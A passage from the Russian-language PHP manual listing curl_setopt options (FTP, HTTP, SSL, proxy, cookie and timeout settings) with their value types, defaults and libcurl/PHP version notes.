CURLOPT_FTP_USE_EPRT | true для использования EPRT (и LPRT) при активных FTP-загрузках. Используйте false для того, чтобы отключить EPRT и LPRT и использовать только PORT.
CURLOPT_FTP_USE_EPSV | true для первоначальной пробы команды EPSV при FTP-передачах. Если команда не удалась, будет произведён обратный откат к PASV. Установите в false для отключения EPSV.
CURLOPT_FTP_CREATE_MISSING_DIRS | true для создания отсутствующих директорий, если FTP-операция обнаруживает несуществующий путь.
CURLOPT_FTPAPPEND | true для записи в конец удалённого файла, вместо перезаписывания.
CURLOPT_TCP_NODELAY | true для отключения алгоритма Нейгла, который пытается уменьшить количество мелких пакетов в сети. | Доступна для версий собранных с libcurl 7.11.2 или новее.
CURLOPT_FTPASCII | Псевдоним CURLOPT_TRANSFERTEXT. Используйте его вместо этого.
CURLOPT_FTPLISTONLY | true для возврата только списка имён из FTP-директории.
CURLOPT_HEADER | true для включения заголовков в вывод.
CURLINFO_HEADER_OUT | true для отслеживания строки запроса дескриптора. | Префикс CURLINFO_ используется специально.
CURLOPT_HTTP09_ALLOWED | Определяет, разрешить ли ответы HTTP/0.9. С версии модуля libcurl 7.66.0 значение по умолчанию — false; ранее по умолчанию было логическое true. | Доступна с PHP 7.3.15 и 7.4.3, соответственно, если собрано с модулем libcurl >= 7.64.0
CURLOPT_HTTPGET | true для сброса метода HTTP-запроса на метод GET. Так как GET используется по умолчанию, этот параметр необходим только в случае, если метод запроса был ранее изменён.
CURLOPT_HTTPPROXYTUNNEL | true для туннелирования через указанный HTTP-прокси.
CURLOPT_HTTP_CONTENT_DECODING | false для получения необработанного тела HTTP-ответа. | Доступно, если собран с libcurl >= 7.16.2.
CURLOPT_KEEP_SENDING_ON_ERROR | true для продолжения посылать тело запроса, если возвращаемый HTTP-код равен или больше 300. Действие по умолчанию — остановить отправку и закрыть поток или соединение. Подходит для ручной аутентификации NTLM. Большинству приложений эта опция не нужна. | Доступно с PHP 7.3.0, если собран с libcurl >= 7.51.0.
CURLOPT_MUTE | true для полного отключения сообщений функций cURL. | Удалена в cURL 7.15.5 (Можно использовать опцию CURLOPT_RETURNTRANSFER)
CURLOPT_NETRC | true для считывания файла ~/.netrc, чтобы найти логин и пароль для удалённого сайта, с которым устанавливается соединение.
CURLOPT_NOBODY | true для исключения тела ответа из вывода. Метод запроса устанавливается в HEAD. Смена этого параметра в false не меняет его обратно в GET.
CURLOPT_NOPROGRESS

true для отмены индикатора прогресса при передачах cURL.

Замечание:

PHP автоматически устанавливает этот параметр в true, меняйте его только для отладочных целей.

CURLOPT_NOSIGNAL | true для игнорирования любой функции cURL, посылающей сигналы PHP процессу. Этот параметр включён по умолчанию в многопоточных SAPI для корректной работы параметров времени ожидания. | Добавлен в cURL 7.10.
CURLOPT_PATH_AS_IS | true для игнорирования последовательностей с двумя точками. | Добавлено в cURL 7.42.0. Доступно с PHP 7.0.7.
CURLOPT_PIPEWAIT | true для ожидания конвейера/мультиплексирования. | Добавлено в cURL 7.43.0. Доступно с PHP 7.0.7.
CURLOPT_POST | true для использования обычного HTTP POST. Данный метод POST использует обычный application/x-www-form-urlencoded, обычно используемый в HTML-формах.
CURLOPT_PUT | true для загрузки файла методом HTTP PUT. Используемый файл должен быть установлен с помощью параметров CURLOPT_INFILE и CURLOPT_INFILESIZE.
CURLOPT_RETURNTRANSFER | true для возврата результата передачи в качестве строки из curl_exec() вместо прямого вывода в браузер.
CURLOPT_SASL_IR | true для разрешения отправки инициирующего ответа в первом пакете. | Добавлено в cURL 7.31.10. Доступно с PHP 7.0.7.
CURLOPT_SSL_ENABLE_ALPN | false для отключения ALPN в SSL-рукопожатии (если на бекенде SSL libcurl собран с её поддержкой), это можно использовать при соединении http2. | Добавлено в cURL 7.36.0. Доступно с PHP 7.0.7.
CURLOPT_SSL_ENABLE_NPN | false для отключения ALPN в SSL-рукопожатии (если на бэкенде SSL libcurl собран с её поддержкой), это можно использовать при соединении http2. | Добавлено в cURL 7.36.0. Доступно с PHP 7.0.7.
CURLOPT_SSL_VERIFYPEER | false для остановки cURL от проверки сертификата узла сети. Альтернативные сертификаты дл проверки могут быть указаны с помощью параметра CURLOPT_CAINFO, или директории с сертификатами, указываемой параметром CURLOPT_CAPATH. | По умолчанию равно true, начиная с версии cURL 7.10. Дистрибутив по умолчанию устанавливается с версией cURL 7.10.
CURLOPT_SSL_VERIFYSTATUS | true для проверки статуса сертификата. | Добавлено в cURL 7.41.0. Доступно с PHP 7.0.7.
CURLOPT_PROXY_SSL_VERIFYPEER | false для остановки cURL от проверки сертификата пира. Альтернативные сертификаты для проверки могут быть указаны с помощью параметра CURLOPT_CAINFO, а каталог сертификатов может быть указан с помощью параметра CURLOPT_CAPATH. Если установлено значение false, проверка сертификата однорангового узла завершается успешно несмотря ни на что. | true по умолчанию. Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_SAFE_UPLOAD | Всегда true, это отключает поддержку префикса @ для загрузки файлов в CURLOPT_POSTFIELDS и означает, что значения, начинающиеся с @, могут быть безопасно переданы в качестве полей. Вместо этого для загрузки файлов можно использовать объект CURLFile.
CURLOPT_SUPPRESS_CONNECT_HEADERS | true для подавления заголовков ответов прокси-сервера CONNECT из пользовательских callback-функции CURLOPT_HEADERFUNCTION и CURLOPT_WRITEFUNCTION, когда используется CURLOPT_HTTPPROXYTUNNEL и выполняется запрос CONNECT. | Добавлено в cURL 7.54.0. Доступно с PHP 7.3.0.
CURLOPT_TCP_FASTOPEN | true для разрешения TCP Fast Open. | Добавлено в cURL 7.49.0. Доступно с PHP 7.0.7.
CURLOPT_TFTP_NO_OPTIONS | true для запрета отправки запросов TFTP-опций. | Добавлено в cURL 7.48.0. Доступно с PHP 7.0.7.
CURLOPT_TRANSFERTEXT | true для использования ASCII-режима при FTP-передачах. При использовании LDAP данные возвращаются простым текстом вместо HTML. В Windows системах поток STDOUT не устанавливается в бинарный режим.
CURLOPT_UNRESTRICTED_AUTH | true для продолжения отправки логина и пароля при перенаправлениях (используя CURLOPT_FOLLOWLOCATION), даже при изменении имени хоста.
CURLOPT_UPLOAD | true для подготовки к загрузке файла на сервер.
CURLOPT_VERBOSE | true для вывода дополнительной информации. Записывает вывод в поток STDERR, или файл, указанный параметром CURLOPT_STDERR.

Для следующих значений параметра option, параметр value должен быть типа int:

Параметр | Устанавливаемое значение value | Замечания
CURLOPT_BUFFERSIZE | Размер буфера, используемого при каждом чтении. Однако, нет никакой гарантии что данный запрос будет завершён. | Добавлен в версии cURL 7.10.
CURLOPT_CONNECTTIMEOUT | Количество секунд ожидания при попытке соединения. Используйте 0 для бесконечного ожидания.
CURLOPT_CONNECTTIMEOUT_MS | Количество миллисекунд ожидания при попытке соединения. Используйте 0 для бесконечного ожидания. Если библиотека libcurl скомпилирована с использованием стандартного системного преобразователя имён, то соединение будет по-прежнему использовать полносекундное ожидание в качестве времени ожидания с минимально допустимым временем ожидания в 1 секунду. | Добавлен в версии cURL 7.16.2.
CURLOPT_DNS_CACHE_TIMEOUT | Количество секунд, в течение которых в памяти хранятся DNS-записи. По умолчанию этот параметр равен 120 (2 минуты).
CURLOPT_EXPECT_100_TIMEOUT_MS | Время ожидания ответов с заголовком Expect: 100-continue в миллисекундах. По умолчанию — 1000 миллисекунд. | Добавлено в cURL 7.36.0. Доступно с PHP 7.0.7.
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS | Начало для ipv6 для алгоритма счастливые eyeballs. Счастливые eyeballs пытаются подключиться как к адресам IPv4, так и к адресам IPv6 для хостов с двумя стеками, предпочитая сначала IPv6 на время ожидания в миллисекундах. По умолчанию используется CURL_HET_DEFAULT, который в настоящее время составляет 200 миллисекунд. | Добавлено в cURL 7.59.0. Доступно с PHP 7.3.0.
CURLOPT_FTPSSLAUTH | Метод FTP-аутентификации (в активном режиме): CURLFTPAUTH_SSL (сначала проверяется SSL), CURLFTPAUTH_TLS (сначала проверяется TLS) или CURLFTPAUTH_DEFAULT (cURL решает сама). | Добавлен в cURL 7.12.2.
CURLOPT_HEADEROPT | Что делать с заголовками. Одна из следующих опций: CURLHEADER_UNIFIED: заголовки, указанные в CURLOPT_HTTPHEADER будут использованы в запросах к серверам и прокси. Если разрешена эта опция, CURLOPT_PROXYHEADER не будет иметь эффекта. CURLHEADER_SEPARATE: заголовки CURLOPT_HTTPHEADER будут отсылаться только на сервер, но не на прокси. На прокси заголовки должны посылаться CURLOPT_PROXYHEADER. Обратите внимание, что если запросы типа non-CONNECT будут слаться на прокси, то libcurl будет посылать как серверные, так и прокси заголовки. Если же происходит CONNECT, libcurl пошлёт на прокси только заголовки CURLOPT_PROXYHEADER, а потом заголовки CURLOPT_HTTPHEADER только на сервер. По умолчанию CURLHEADER_SEPARATE, начиная с cURL 7.42.1, и CURLHEADER_UNIFIED до него. | Добавлено в cURL 7.37.0. Доступно с PHP 7.0.7.
CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (значение по умолчанию; CURL сам решает, какую версию использовать), CURL_HTTP_VERSION_1_0 (принудительно соединяться по протоколу HTTP/1.0), CURL_HTTP_VERSION_1_1 (принудительно соединяться по протоколу HTTP/1.1), CURL_HTTP_VERSION_2_0 (попытаться соединиться по протоколу HTTP/2.0), CURL_HTTP_VERSION_2 (псевдоним CURL_HTTP_VERSION_2_0), CURL_HTTP_VERSION_2TLS (попытаться соединиться только по протоколу HTTP/2.0 через TLS (HTTPS)) или CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE (выполнять HTTP-запросы без TLS по протоколу HTTP/2.0 без возврата к HTTP/1.1).
CURLOPT_HTTPAUTH

Методы HTTP-аутентификации. Параметры: CURLAUTH_BASIC, CURLAUTH_DIGEST, CURLAUTH_GSSNEGOTIATE, CURLAUTH_NTLM, CURLAUTH_AWS_SIGV4, CURLAUTH_ANY и CURLAUTH_ANYSAFE.

Можно использовать побитовый оператор | (или) для комбинации нескольких методов вместе. В этом случае cURL опросит сервер на предмет поддерживаемых методов авторизации и выберет лучший из них.

CURLAUTH_ANY устанавливает все биты. cURL автоматически выберет тот, который посчитает самым безопасным.

CURLAUTH_ANYSAFE устанавливает все биты кроме CURLAUTH_BASIC. cURL автоматически выберет тот, который посчитает самым безопасным.

CURLOPT_INFILESIZE | Ожидаемый размер файла в байтах при загрузке файла на удалённый сервер. Учтите, что использование этой опции не остановит дальнейшую посылку данных, превышающих это значение, так как посылаемые данные зависят от результата CURLOPT_READFUNCTION.
CURLOPT_LOW_SPEED_LIMIT | Верхний порог скорости передачи данных, в байтах в секунду. Проверка происходит в течение CURLOPT_LOW_SPEED_TIME секунд, после чего PHP считает передачу слишком медленной и прерывает её.
CURLOPT_LOW_SPEED_TIME | Максимальное количество секунд, в течение которых скорость передачи не должна превышать значение опции CURLOPT_LOW_SPEED_LIMIT, иначе PHP пометит передачу как слишком медленную и прекратит её.
CURLOPT_MAIL_RCPT_ALLLOWFAILS | Разрешить ошибки для команды RCPT TO для некоторых получателей. | При отправке данных нескольким получателям cURL прерывает SMTP-диалог, если хотя бы для одного из получателей на команду RCPT TO была получена ошибка. Этот параметр сообщает cURL, чтобы он игнорировал ошибки и продолжал с оставшимися доступными получателями. Если все получатели вызвали ошибку команды RCPT TO и этот флаг установлен, cURL прервёт SMTP-диалог и вернёт ошибку, полученную от последней команды RCPT TO.
CURLOPT_MAXAGE_CONN | Максимальное время ожидания, в течение которого разрешено повторно использовать существующее соединение. По умолчанию максимальный срок установлен на 118 секунд.
CURLOPT_MAXFILESIZE_LARGE | Максимальный разрешённый размер файла в байтах для скачивания. Если размер запрошенного файла окажется больше этого значения, передача не начнётся и вернётся значение константы CURLE_FILESIZE_EXCEEDED. Размер файла не всегда известен до начала скачивания, и на скачивание таких таких файлов этот параметр не повлияет, даже если в итоге размер файла превышает установленный предел.
CURLOPT_MAXLIFETIME_CONN | Максимальное время в секундах с момента установления соединения, в течение которого разрешено рассматривать существующее соединение для повторной передачи. Если соединение будет найдено в кеше, который старше этого значения, оно не будет рассмотрено для повторной передачи и будет закрыто как только все незавершенные передачи будут завершены. По умолчанию — 0 секунд, что означает, что параметр выключен и все соединения доступны для повторной передачи.
CURLOPT_MAXCONNECTS | Максимальное количество постоянных соединений. При достижении лимита, самое старое соединение в кеше закрывается, чтобы предотвратить увеличение числа открытых соединений.
CURLOPT_MAXREDIRS | Максимальное количество принимаемых перенаправлений. Используйте этот параметр вместе с параметром CURLOPT_FOLLOWLOCATION. Значение по умолчанию 20 установлено для предотвращения бесконечных перенаправлений. Значение -1 разрешает бесконечные перенаправления, а 0 отклоняет все перенаправления.
CURLOPT_PORT | Альтернативный порт соединения.
CURLOPT_POSTREDIR | Битовая маска, содержащая 1 (301 Moved Permanently), 2 (302 Found) и 4 (303 See Other), чтобы задавать должен ли метод HTTP POST обрабатываться при включённой опции CURLOPT_FOLLOWLOCATION, если произошёл указанный тип перенаправления. | Добавлено в cURL 7.19.1.
CURLOPT_PROTOCOLS

Битовая маска из значений CURLPROTO_*. Данная маска ограничивает используемые libcurl протоколы. Это позволяет иметь libcurl, работающую с большим количеством протоколов, и ограничивать работу определённых передач только для некоторого их набора. По умолчанию модуль libcurl использует все поддерживаемые протоколы. Смотрите также параметр CURLOPT_REDIR_PROTOCOLS.

Корректные значения протоколов: CURLPROTO_HTTP, CURLPROTO_HTTPS, CURLPROTO_FTP, CURLPROTO_FTPS, CURLPROTO_SCP, CURLPROTO_SFTP, CURLPROTO_TELNET, CURLPROTO_LDAP, CURLPROTO_LDAPS, CURLPROTO_DICT, CURLPROTO_FILE, CURLPROTO_TFTP, CURLPROTO_MQTT, CURLPROTO_ALL

Добавлен в cURL 7.19.4.
CURLOPT_PROXYAUTH | Методы авторизации HTTP, используемые при соединении с прокси-сервером. Используйте те же самые битовые маски, которые были описаны у параметра CURLOPT_HTTPAUTH. В данный момент для авторизации прокси поддерживаются только CURLAUTH_BASIC и CURLAUTH_NTLM. | Добавлен в версии cURL 7.10.7.
CURLOPT_PROXYPORT | Номер порта прокси-сервера, к которому осуществляется соединение. Этот номер также может быть установлен с помощью параметра CURLOPT_PROXY.
CURLOPT_PROXYTYPE | Либо CURLPROXY_HTTP (по умолчанию), либо CURLPROXY_SOCKS4, CURLPROXY_SOCKS5, CURLPROXY_SOCKS4A или CURLPROXY_SOCKS5_HOSTNAME. | Добавлен в версии cURL 7.10.
CURLOPT_REDIR_PROTOCOLS | Битовая маска из значений CURLPROTO_*. Данная битовая маска ограничивает протоколы, используемые libcurl при перенаправлении (при включённом параметре CURLOPT_FOLLOWLOCATION). Это позволяет ограничить набор используемых протоколов при перенаправлениях для некоторых передач. По умолчанию libcurl поддерживает все протоколы, кроме FILE и SCP. В версиях, предшествовавших 7.19.4, перенаправление использовалось для всех протоколов без исключения. Смотрите также описание параметра CURLOPT_PROTOCOLS для списка констант со значениями протоколов. | Добавлен в версии cURL 7.19.4.
CURLOPT_RESUME_FROM | Смещение в байтах для возобновления передачи.
CURLOPT_SOCKS5_AUTH

Метод аутентификации SOCKS5, который нужно использовать. Варианты: CURLAUTH_BASIC, CURLAUTH_GSSAPI, CURLAUTH_NONE.

Побитовый оператор | (или) можно использовать для объединения нескольких методов. Если это будет сделано, cURL будет опрашивать сервер, чтобы выяснить, какие методы он поддерживает, и выбрать наилучший.

CURLAUTH_BASIC разрешает аутентификацию по constant пользователя/пароля.

CURLAUTH_GSSAPI разрешает аутентификацию GSS-API.

CURLAUTH_NONE не разрешает аутентификацию.

По умолчанию CURLAUTH_BASIC|CURLAUTH_GSSAPI. Установите действительное имя пользователя и пароль с помощью параметра CURLOPT_PROXYUSERPWD.

Доступно с 7.3.0 и curl >= 7.55.0.
CURLOPT_SSL_OPTIONS | Устанавливает опции поведения SSL. Битовая маска из следующих констант: CURLSSLOPT_ALLOW_BEAST: не пытаться найти обходной путь для изъяна в безопасности протоколов SSL3 и TLS1.0. CURLSSLOPT_NO_REVOKE: отключить проверку на предмет того, отозван ли сертификат, для тех SSL-бэкендов, где такое поведение присутствует. CURLSSLOPT_AUTO_CLIENT_CERT: автоматически находить и использовать сертификат клиента для аутентификации по запросу сервера. Эта опция поддерживается только модулем поставщика служб безопасности Schannel (собственный SSL-модуль Windows). CURLSSLOPT_NATIVE_CA: использовать собственное хранилище доверенных центров сертификации (Certificate authority, CA) операционной системы для проверки сертификата. Работает только в Windows с установленной сборкой библиотеки OpenSSL. Это экспериментальная опция и её поведение может измениться в будущем. CURLSSLOPT_NO_PARTIALCHAIN: не принимать цепочки «частных» сертификатов, что cURL в других случаях делает по умолчанию. Эта опция поддерживается только для библиотеки OpenSSL и приведёт к ошибке проверки сертификата, если цепочка заканчивается на промежуточном, а не на корневом сертификате. CURLSSLOPT_REVOKE_BEST_EFFORT: игнорировать проверку на предмет того, отозван ли сертификат, в случае отсутствия или отключения точек распространения для тех SSL-бэкендов, где такое поведение присутствует. Эта опция поддерживается только модулем поставщика служб безопасности Schannel (собственный SSL-модуль Windows). Если указана вместе с опцией CURLSSLOPT_NO_REVOKE, последняя будет в приоритете. | Добавлено в cURL 7.25.0. Доступно с PHP 7.0.7.
CURLOPT_SSL_VERIFYHOST | Используйте 2, чтобы убедиться, что поле общего имени или поле альтернативного имени субъекта в сертификате узла SSL соответствует указанному имени хоста. Используйте 0, чтобы не проверять имена. 1 не следует использовать. В боевом окружении значение этого параметра должно быть 2 (установлено по умолчанию). | Поддержка значения 1 убрана в cURL 7.28.1
CURLOPT_SSLVERSION Одна из констант CURL_SSLVERSION_DEFAULT (0), CURL_SSLVERSION_TLSv1 (1), CURL_SSLVERSION_SSLv2 (2), CURL_SSLVERSION_SSLv3 (3), CURL_SSLVERSION_TLSv1_0 (4), CURL_SSLVERSION_TLSv1_1 (5) CURL_SSLVERSION_TLSv1_2 (6) или CURL_SSLVERSION_TLSv1_3 (7). Максимальная версия TLS может быть установлена с помощью одной из констант CURL_SSLVERSION_MAX_*. Также можно ИЛИ одну из констант CURL_SSLVERSION_* с одной из констант CURL_SSLVERSION_MAX_*. CURL_SSLVERSION_MAX_DEFAULT(максимальная версия, поддерживаемая библиотекой), CURL_SSLVERSION_MAX_TLSv1_0, CURL_SSLVERSION_MAX_TLSv1_1, CURL_SSLVERSION_MAX_TLSv1_2, or CURL_SSLVERSION_MAX_TLSv1_3.

Замечание:

Рекомендуется не устанавливать эту опцию и оставить значение по умолчанию. Установка в 2 или 3 опасно и допускает применение известных уязвимостей в SSLv2 и SSLv3.

CURLOPT_PROXY_SSL_OPTIONS | Задайте параметры поведения SSL-прокси, которые являются битовой маской любой из следующих констант: CURLSSLOPT_ALLOW_BEAST: не пытаться использовать обходные пути для устранения уязвимости в протоколах SSL3 и TLS1.0. CURLSSLOPT_NO_REVOKE: отключить проверку на предмет того, отозван ли сертификат, для тех бэкендов SSL, где такое поведение присутствует. (curl >= 7.44.0) CURLSSLOPT_NO_PARTIALCHAIN: не принимать «частичные» цепочки сертификатов, что в противном случае делается по умолчанию. (curl >= 7.68.0) | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_SSL_VERIFYHOST | Установите значение 2 для проверки в полях имени сертификата прокси-сервера HTTPS по отношению к имени прокси-сервера. Когда установлено значение 0, соединение успешно выполняется независимо от имён, используемых в сертификате. Используйте эту способность с осторожностью! 1 рассматривается как опция отладки в curl 7.28.0 и более ранних версиях. С версии curl 7.28.1 до 7.65.3 возвращена CURLE_BAD_FUNCTION_ARGUMENT. Начиная с curl 7.66.0 и далее 1 и 2 обрабатываются как одно и то же значение. В производственной среде значение этой опции должно быть 2 (значение по умолчанию). | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_SSLVERSION Одна из CURL_SSLVERSION_DEFAULT, CURL_SSLVERSION_TLSv1, CURL_SSLVERSION_TLSv1_0, CURL_SSLVERSION_TLSv1_1, CURL_SSLVERSION_TLSv1_2, CURL_SSLVERSION_TLSv1_3, CURL_SSLVERSION_MAX_DEFAULT, CURL_SSLVERSION_MAX_TLSv1_0, CURL_SSLVERSION_MAX_TLSv1_1, CURL_SSLVERSION_MAX_TLSv1_2, CURL_SSLVERSION_MAX_TLSv1_3 или CURL_SSLVERSION_SSLv3.

Замечание:

Лучше всего не устанавливать это и разрешать использовать значение по умолчанию CURL_SSLVERSION_DEFAULT, которое попытается выяснить версию протокола удалённого SSL.

Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_STREAM_WEIGHT | Установить вес цифрового потока (число между 1 и 256). | Добавлено в cURL 7.46.0. Доступно с PHP 7.0.7.
CURLOPT_TCP_KEEPALIVE | Если установлено значение 1, будут отправлены пробные сообщения поддержки активности TCP. Задержку и частоту этих проб можно контролировать с помощью параметров CURLOPT_TCP_KEEPIDLE и CURLOPT_TCP_KEEPINTVL, если операционная система их поддерживает. Если установлено значение 0 (по умолчанию), пробные сообщения проверки активности отключены. | Добавлено в cURL 7.25.0.
CURLOPT_TCP_KEEPIDLE | Устанавливает задержку в секундах, в течение которой операционная система будет ждать, пока соединение находится в режиме ожидания, перед отправкой проб проверки активности, если включено CURLOPT_TCP_KEEPALIVE. Не все операционные системы поддерживают эту опцию. По умолчанию установлено значение 60. | Добавлено в cURL 7.25.0.
CURLOPT_TCP_KEEPINTVL | Устанавливает интервал в секундах, в течение которого операционная система будет ожидать между отправкой проб проверки активности, если включено CURLOPT_TCP_KEEPALIVE. Не все операционные системы поддерживают эту опцию. По умолчанию установлено значение 60. | Добавлено в cURL 7.25.0.
CURLOPT_TIMECONDITION | Способ трактовки параметра CURLOPT_TIMEVALUE. Используйте CURL_TIMECOND_IFMODSINCE для возвращения страницы, только если она была изменена со времени, указанного в параметре CURLOPT_TIMEVALUE. Если страница не была изменена, вернётся заголовок "304 Not Modified", подразумевая, что параметр CURLOPT_HEADER установлен в true. Используйте CURL_TIMECOND_IFUNMODSINCE для обратного эффекта. Используйте CURL_TIMECOND_NONE, чтобы игнорировать CURLOPT_TIMEVALUE и всегда возвращать страницу. По умолчанию используется CURL_TIMECOND_NONE. | До cURL 7.46.0 значение по умолчанию было CURL_TIMECOND_IFMODSINCE.
CURLOPT_TIMEOUT | Максимально позволенное количество секунд для выполнения cURL-функций.
CURLOPT_TIMEOUT_MS | Максимально позволенное количество миллисекунд для выполнения cURL-функций. Если libcurl собрана с использованием обычного системного распознавателя имён, то этот промежуток соединения всё ещё будет использовать секундное округление времени ожидания, с минимально разрешённым временем ожидания в одну секунду. | Добавлен в версии cURL 7.16.2.
CURLOPT_TIMEVALUE | Количество секунд, начиная с 1 января 1970 года. Это время будет использовано параметром CURLOPT_TIMECONDITION.
CURLOPT_TIMEVALUE_LARGE | Время в секундах с 1 января 1970 года. Время будет использовано CURLOPT_TIMECONDITION. По умолчанию ноль. Разница между этой опцией и CURLOPT_TIMEVALUE заключается в типе аргумента. В системах, где 'long' имеет размер всего 32 бита, этот параметр нужно указывать для установки дат после 2038 года. | Добавлено в cURL 7.59.0. Доступно с PHP 7.3.0.
CURLOPT_UPKEEP_INTERVAL_MS | В некоторые протоколы встроен механизмы «поддержания соединения». Эти механизмы обычно отправляют небольшой объем трафика через существующие соединения, чтобы держать их открытыми. Эта опция определяет интервал, в течение которого будет поддерживаться соединение. Действующий и единственный протокол с механизмом поддержания соединения — это HTTP/2. Когда интервал поддержания соединения истекает, протокол HTTP/2 отправляет в соединение кадр PING. Значение по умолчанию - 60 секунд.
CURLOPT_UPLOAD_BUFFERSIZE | Предпочтительный размер буфера загрузки cURL в байтах. Размер буфера загрузки по умолчанию — 64 килобайта. Максимально можно установить 2 мегабайта. Минимально — 16 килобайтов.
CURLOPT_MAX_RECV_SPEED_LARGE | Если скорость скачки превысит это значение (указанное в байтах в секунду) в среднем в течение всей передачи, то скачка будет приостановлена для поддержания средней скорости меньше либо равной данному параметру. По умолчанию скорость не ограничивается. | Добавлен в версии cURL 7.15.5.
CURLOPT_MAX_SEND_SPEED_LARGE | Если загрузка на сервер превысит это значение (указанное в байтах в секунду) в среднем в течение всей передачи, то загрузка будет приостановлена для поддержания средней скорости меньше либо равной данному параметру. По умолчанию скорость не ограничивается. | Добавлен в версии cURL 7.15.5.
CURLOPT_SSH_AUTH_TYPES | Битовая маска, состоящая из одной или более констант: CURLSSH_AUTH_PUBLICKEY, CURLSSH_AUTH_PASSWORD, CURLSSH_AUTH_HOST, CURLSSH_AUTH_KEYBOARD. Установите CURLSSH_AUTH_ANY, чтобы libcurl сам выбрал одну из них. | Добавлено в cURL 7.16.1.
CURLOPT_IPRESOLVE | Позволяет приложению выбрать вид IP-адреса, с которым определяется имя хоста. Это необходимо, если используется имя хоста, которое получается с использованием более одной версии IP адреса. Возможными значениями могут быть CURL_IPRESOLVE_WHATEVER, CURL_IPRESOLVE_V4, CURL_IPRESOLVE_V6, и по умолчанию CURL_IPRESOLVE_WHATEVER. | Добавлено в cURL 7.10.8.
CURLOPT_FTP_FILEMETHOD | Сообщить дескриптору cURL, какой метод доступа к файлу на сервере FTP использовать. Возможные значения: CURLFTPMETHOD_DEFAULT, CURLFTPMETHOD_MULTICWD, CURLFTPMETHOD_NOCWD и CURLFTPMETHOD_SINGLECWD. | Добавлено в cURL 7.15.1.

Для следующих значений параметра option, параметр value должен быть типа string:

Параметр | Устанавливаемое значение value | Замечания
CURLOPT_ABSTRACT_UNIX_SOCKET | Позволяет использовать абстрактный доменный сокет Unix вместо установления TCP-соединения с хостом и устанавливает путь к указанной строке (string). Эта опция использует ту же семантику, что и CURLOPT_UNIX_SOCKET_PATH. Эти два параметра совместно используют одно и то же хранилище, поэтому для каждого дескриптора можно установить только один из них. | Доступно с PHP 7.3.0 и cURL 7.53.0
CURLOPT_ALTSVC | Передать дескриптору cURL имя файла, который будет работать в качестве файла Alt-Svc-кеша для чтения существующих кешированных данных и, возможно, также записи их обратно после передачи, за исключением случаев, когда для опции CURLOPT_ALTSVC_CTRL установлено значение CURLALTSVC_READONLYFILE.
CURLOPT_ALTSVC_CTRL | Заполните битовую маску правильными значениями, чтобы проинструктировать дескриптор cURL, как обрабатывать кеш Alt-Svc при передаче. Дескриптор cURL принимает заголовки Alt-Svc только через HTTPS. Запрос к альтернативному источнику выполнится только если источник правильно настроен на обмен данными по протоколу HTTPS. Установка любого бита включит движок alt-svc. Доступны следующие опции: CURLALTSVC_H1, CURLALTSVC_H2, CURLALTSVC_H3 и CURLALTSVC_READONLYFILE.
CURLOPT_AWS_SIGV4

Обеспечивает аутентификацию подписи в заголовке HTTP(S) по протоколу AWS V4.

Эта опция переопределит любые другие типы аутентификации, которые были установлены опцией CURLOPT_HTTPAUTH. Этот метод нельзя комбинировать с другими типами аутентификации.

CURLOPT_CAINFO | Имя файла, содержащего один или более сертификатов, с которыми будут сверяться узлы. Этот параметр имеет смысл только при использовании совместно с CURLOPT_SSL_VERIFYPEER. | Может потребоваться абсолютный путь.
CURLOPT_CAINFO_BLOB | Название PEM-файла, содержащего один или несколько сертификатов для проверки узла. Эта опция переопределяет опцию CURLOPT_CAINFO. | Доступна начиная с PHP 8.2.0 и cURL 7.77.0.
CURLOPT_CAPATH | Директория, содержащая несколько CA-сертификатов. Используйте этот параметр совместно с CURLOPT_SSL_VERIFYPEER.
CURLOPT_COOKIE | Содержимое заголовка "Cookie: ", используемого в HTTP-запросе. Обратите внимание, что несколько cookies разделяются точкой с запятой с последующим пробелом (например, "fruit=apple; colour=red")
CURLOPT_COOKIEFILE | Имя файла, содержащего cookies. Данный файл должен быть в формате Netscape или просто заголовками HTTP, записанными в файл. Если в качестве имени файла передана пустая строка, то cookies сохраняться не будут, но их обработка всё ещё будет включена.
CURLOPT_COOKIEJAR | Имя файла, в котором будут сохранены все внутренние cookies текущей передачи после закрытия дескриптора, например, после вызова curl_close.
CURLOPT_COOKIELIST | Строка cookie (т.е. одна строка в формате Netscape/Mozilla или обычный заголовок Set-Cookie в стиле HTTP) добавляет этот единственный cookie во внутреннее хранилище cookie. "ALL" удаляет все файлы cookie, хранящиеся в памяти. "SESS" удаляет все файлы cookie сессии, хранящиеся в памяти. "FLUSH" записывает все известные файлы cookie в файл, указанный в CURLOPT_COOKIEJAR. "RELOAD" загружает все файлы cookie из файлов, указанных в CURLOPT_COOKIEFILE. | Доступно с cURL 7.14.1.
CURLOPT_CUSTOMREQUEST

Собственный метод запроса, используемый вместо "GET" или "HEAD" при выполнении HTTP-запроса. Это полезно при запросах "DELETE" или других, более редких HTTP-запросах. Корректными значениями будут такие как "GET", "POST", "CONNECT" и так далее; т.е. не вводите здесь всю строку с HTTP-запросом. Например, указание "GET /index.html HTTP/1.0\r\n\r\n" будет неправильным.

Замечание:

Не используйте эту возможность пока не убедитесь, что сервер поддерживает данный тип запроса.

CURLOPT_DEFAULT_PROTOCOL

Протокол по умолчанию, если он отсутствует в схеме URL.

Добавлено в cURL 7.45.0. Доступно с PHP 7.0.7.
CURLOPT_DNS_INTERFACE

Устанавливает имя сетевого интерфейса, к которому привязан DNS. Это должно быть имя интерфейса, а не адрес.

Добавлено в cURL 7.33.0. Доступно с PHP 7.0.7.
CURLOPT_DNS_LOCAL_IP4

Установить локальный IPv4-адрес, по которому доступен DNS. Адрес должен быть представлен в виде строки, содержащий одно число.

Добавлено в cURL 7.33.0. Доступно с PHP 7.0.7.
CURLOPT_DNS_LOCAL_IP6

Установить локальный IPv6-адрес, по которому доступен DNS. Адрес должен быть представлен в виде строки, содержащий одно число.

Добавлено в cURL 7.33.0. Доступно с PHP 7.0.7.
CURLOPT_EGDSOCKET | Наподобие CURLOPT_RANDOM_FILE, за исключением того, что имя файла устанавливается в сокет Entropy Gathering Daemon.
